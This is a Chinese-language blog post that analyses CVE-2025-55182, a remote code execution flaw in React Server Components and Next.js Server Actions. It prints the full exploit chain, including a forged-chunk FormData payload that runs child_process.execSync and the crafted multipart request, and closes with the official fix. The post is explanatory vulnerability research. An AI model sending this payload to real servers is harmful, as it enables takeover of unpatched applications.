CVE-2025-55182 - React Server Components RCE 漏洞深度分析

10 minutes read
ReactCVESecurityNext.jsRCE

概述

CVE-2025-55182 是 React Flight Protocol 中发现的一个严重远程代码执行(RCE)漏洞。该漏洞通过巧妙的攻击链组合实现了服务器端代码执行,攻击者可以完全控制目标服务器。

严重安全威胁

该漏洞的 CVSS 评分为高危,影响使用 React Server Components 和 Next.js Server Actions 的应用。攻击者可通过精心构造的 HTTP 请求实现远程代码执行。

攻击链核心:路径遍历 + 伪造 chunk 注入 + $B 处理器滥用 → Function(attacker_code) 执行

恰巧我也有项目使用了 Next.js 15.3.1 + React 19.1.0 的项目(比如部署在 nextjs 上的Blog),更新版本后,我想详细了解这次事件的攻击机制。本文将详细分析该漏洞的技术细节和攻击原理。

React Flight Protocol 基础

协议设计目的

React Flight Protocol 是 React 为 Server Components 设计的自定义序列化格式。与传统 JSON 不同,它能够处理复杂的数据结构:

  • React Elements:组件树和虚拟 DOM 结构
  • 异步数据:Promise 和 Suspense 支持
  • 循环引用:复杂对象间的相互引用
  • 二进制数据:Blob、TypedArray 等类型
  • 服务器函数:Server Actions 和远程调用

序列化机制

Flight 协议使用特殊的前缀标识符来区分不同类型的数据。在 ReactFlightServer.js 中定义了序列化函数:

序列化标识符
// Promise/Chunk 引用
function serializePromiseID(id: number): string {
  return '$@' + id.toString(16);  // 例如: $@1a
}
 
// 服务器函数引用
function serializeServerReferenceID(id: number): string {
  return '$F' + id.toString(16);  // 例如: $F2b
}
 
// Symbol 引用
function serializeSymbolReference(name: string): string {
  return '$S' + name;             // 例如: $SReact.element
}
...

反序列化处理

客户端通过 parseModelString 函数解析这些序列化标识符:

parseModelString 函数
function parseModelString(value) {
  if (value[0] === '$') {
    switch (value[1]) {
      case '$':
        // 转义的字符串值
        return value.slice(1);
      case '@':
        // Promise 引用
        const id = parseInt(value.slice(2), 16);
        const chunk = getChunk(response, id);
        return chunk;
      case 'F':
        // 服务器函数引用
        return resolveServerReference(value);
      // ... 其他类型处理
    }
  }
  return value;
}

Chunk 数据结构

Flight 协议将数据分割为可相互引用的独立单元(chunk)。每个 chunk 都有唯一的 ID 和状态:

┌─────────────────────────────────────────────────────┐
│                   CHUNK 数据流                       │
├─────────────────────────────────────────────────────┤
│ FormData:                                           │
│ ┌─────────────────────────────────────────────────┐ │
│ │ "0": '{"name": "John", "ref": "$1"}'            │ │ ← Chunk 0
│ │ "1": '{"address": "123 Main St"}'               │ │ ← Chunk 1
│ │ "2": '"$@0"'                                    │ │ ← Chunk 2
│ └─────────────────────────────────────────────────┘ │
│                                                     │
│ Parse Result:                                       │
│ ┌─────────────────────────────────────────────────┐ │
│ │ Chunk 0: {name: "John", ref: → Chunk 1}         │ │
│ │ Chunk 1: {address: "123 Main St"}               │ │
│ │ Chunk 2: Promise<Chunk 0>                       │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘

Chunk 内部实现

在 React 内部,每个 chunk 都是一个类似 Promise 的对象:

Chunk 对象定义
// 来自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
  this.value = value;        // 实际数据或待处理监听器
  this.reason = reason;      // 错误原因或 chunk ID
  this._response = response; // Response 对象
}
 
// Chunk 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };

路径遍历机制

漏洞关键点

Flight 协议支持使用冒号分隔的路径进行嵌套属性访问,这是漏洞的核心入口。

Chunk示例: "$0:users:0:name"
            │  │    │  │
            │  │    │  └── 属性 "name"
            │  │    └───── 数组索引 0
            │  └────────── 属性 "users"
            └───────────── Chunk ID 0

实现代码如下:

getOutlinedModel 函数 (存在漏洞)
// 来自 getOutlinedModel() - 602-616行
const path = reference.split(':');  // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);   // 0
const chunk = getChunk(response, id);
 
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 🔴 直接属性访问,无安全检查!
}

漏洞原因

注意代码中的 value[path[i]] 直接属性访问。攻击者可以通过构造恶意路径字符串,利用路径遍历访问任意对象属性:

  • $0:__proto__:then → 访问 Chunk 对象的 then 方法
  • $0:constructor:constructor → 访问 Function 构造函数

虽然此时攻击者已能访问任意对象属性,但仍无法直接执行代码。接下来需要配合伪造 chunk 注入和 $B 处理器滥用来实现 RCE。

攻击链详解

第一步:伪造 Chunk 注入

攻击者的核心策略是构造一个恶意的 chunk,它看起来像合法的 React chunk 对象,但包含了攻击载荷。

关键组件分析

Self-referential then

then: "$1:__proto__:then" - chunk 1 ($@0) 指向 chunk 0,形成自引用

状态伪造

status: "resolved_model" - 让对象看起来像有效的 React chunk

载荷注入

value: '{"then":"$B1337"}' - 嵌套载荷触发 $B 处理器

执行环境

_response._formData.get - 通过 $1:constructor:constructor 指向 Function

FormData 结构

攻击者使用三个相互引用的表单字段:

恶意 FormData 结构
// 字段 0: 主要恶意对象
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then":"$B1337"}',
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
 
// 字段 1: 循环引用
"$@0"  // ← 引用回字段 0
 
// 字段 2: 防崩溃的空 Map
[]     // ← 作为 _chunks Map 使用

自引用 thenable 机制

then: "$1:__proto__:then" 创建了一个解析为真实函数的自引用:

攻击链路径:
$1:__proto__:then

$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object

Chunk.__proto__.then → Chunk.prototype.then (真实函数!)

为什么这很关键

  1. then 解析为 Chunk.prototype.then - 一个真实的可调用函数
  2. 这使得伪造的对象成为有效的 thenable
  3. 当被 await 时,JavaScript 调用 obj.then(resolve, reject)
  4. Chunk.prototype.then 以伪造对象作为 this 执行
关键执行路径
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // 伪造对象被传入!
      break;
  }
}
// packages/react-server/src/ReactFlightReplyServer.js[L446-474]
function initializeModelChunk(chunk) {
  // ...
  const resolvedModel = chunk.value;     // = "{\"then\":\"$B1337\"}"
  // ...
  const rawModel = JSON.parse(resolvedModel);
 
  const value = reviveModel(
    chunk._response,  // ← 此处的 _response 是伪造的 { _prefix: '...', _formData: { get: Function } }
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
}
 
// 上方的 chunk_response 实际上会被反序列化为:
{
  "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
  "_formData": {"get": Function}  // Already resolved to Function constructor!
}

第二步:$B 处理器滥用

value 字段包含另一个 thenable 的嵌套 JSON 字符串:

{"then":"$B1337"}

两阶段触发机制:

  1. 阶段一:外部对象的自引用 then 触发 chunk 处理
  2. 阶段二:React 解析模型时遇到另一个带有 then: "$B1337" 的 thenable,$B 前缀触发处理器:
$B 处理器代码
case "B":
  return response._formData.get(response._prefix + obj);  // _prefix = 'eval code', obj = "1337"

此时 _formData.get"$1:constructor:constructor"getOutlinedModel() 解析为 Function

最终变成:Function(code + "1337") → 有效的 JavaScript,因为 1337 只是尾随表达式。

以上代码实际上等价于:

最终执行代码
response._formData.get(blobKey)

Function("process.mainModule.require('child_process').execSync('say haha');1337")

process.mainModule.require('child_process').execSync('say haha');
1337

🔴 RCE ACHIEVED.

漏洞攻击流程分析

攻击的完整流程包括多个关键步骤,让我们详细分析每个环节:

步骤一:恶意 HTTP 请求

攻击者发送包含恶意载荷的 multipart/form-data 请求:

恶意请求示例
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
 
------Boundary
Content-Disposition: form-data; name="0"
 
{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"
 
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
 
[]
------Boundary--

步骤二:FormData 解析

Next.js 将 multipart 内容解析为 FormData 对象:

解析结果
formData = {
  "0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
  "1": '"$@0"',
  "2": '[]'
}

步骤三:Response 对象创建

React 创建用于处理请求的 Response 对象:

Response 对象结构
response = {
  _bundlerConfig: serverManifest,
  _prefix: formFieldPrefix,      // 用于在 FormData 中查找 chunks
  _formData: body,               // 原始 FormData
  _chunks: new Map(),            // 解析的 chunks 缓存
  _closed: false,
  _temporaryReferences: undefined,
}

步骤四:触发漏洞

当 React 尝试解析根 chunk 时,攻击链被激活:

漏洞触发点
const refPromise = getRoot(actionResponse);
refPromise.then(() => {});  // 触发 Chunk.prototype.then

完整攻击时序图

plantuml

防御与修复

官方修复方案

React 团队在后续版本中通过以下方式修复了此漏洞,见 commit

  1. 路径验证:在 getOutlinedModel 函数中添加了路径安全检查
  2. 属性访问限制:通过 HasOwnProperty 检查防止访问危险属性
  3. 类型验证:增强了 chunk 对象的类型和状态验证

技术思考

漏洞设计的巧妙之处

这个漏洞的设计展现了攻击者对 React 内部机制的深度理解:

  1. 利用协议设计缺陷:巧妙利用 Flight 协议的路径遍历机制
  2. 绕过类型检查:通过自引用让伪造对象通过 thenable 验证
  3. 链式利用:将多个看似无害的功能串联成完整攻击链

参考文档

On this page

Scroll to top